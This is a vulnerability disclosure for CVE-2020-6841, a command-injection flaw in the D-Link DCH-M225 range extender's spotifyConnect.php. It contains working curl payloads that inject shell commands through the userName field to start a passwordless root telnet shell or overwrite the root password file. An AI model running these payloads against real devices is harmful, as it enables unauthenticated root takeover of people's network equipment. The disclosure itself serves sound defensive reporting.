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CVE-2020-6841 - allow a local attacker to execute arbitrary OS commands as root

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1 D-Link DCH-M225 1.04 devices allow remote attackers to execute
2 arbitrary OS commands via shell metacharacters in the
3 spotifyConnect.php userName parameter.
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7 [Additional Information]
8 From the local network (eg wifi), access the URL
9 http://ip-address/spotifyConnect.php with POST variables:
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11 action=addUser userName=/usr/sbin/telnetd -i br0 >/dev/null &;
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13 For example, from a Linux command-line:
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15 curl -d 'action=addUser&userName=/usr/sbin/telnetd -i br0 >/dev/null &;' http://192.168.0.50/spotifyConnect.php
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17 This starts a telnet daemon that provides a root shell with no
18 password. Then telnet to the device for a root shell.
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20 The same exploit can be used to temporarily change the root password,
21 using something like:
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23 curl -d 'action=addUser&userName=echo "\"Admin\" \"\" \"0\"\">/var/passwd.new;' http://192.168.1.204/spotifyConnect.php
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25 This exploit would also work on a network that exposes port 80 on the
26 device to the Internet, in which case this would allow a remote root
27 shell to an unprivileged user.
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29 The vendor has stated that the device has been discontinued (as of
30 April 2018), and that they won't be patching.
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32 The vulnerable "Spotify Connect" feature of the product may have been
33 implemented on other devices that are still for sale or still under
34 support, possibly using the same vulnerable code implemented in
35 spotifyCode.php on this device. The vendor has been asked if any
36 of their other products use the same code, but they did not answer
37 this question.
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41 [VulnerabilityType Other]
42 command injection (missing input validation, escaping)
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44 -----
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46 [Vendor of Product]
47 D-Link
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49 -----
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51 [Affected Product Code Base]
52 DCH-M225 Wi-Fi Range Extender - 1.04
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54 -----
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56 [Affected Component]
57 script spotifyConnect.php
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59 -----
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61 [Attack Type]
62 Local
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64 -----
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66 [Attack Vectors]
67 Submit HTTP request to add a Spotify Connect user (no admin auth
68 required), using a username containing a semicolon followed by an
69 arbitrary command (which runs as root) such as telnetd or commands to
70 modify the admin user's password.
71
72 -----
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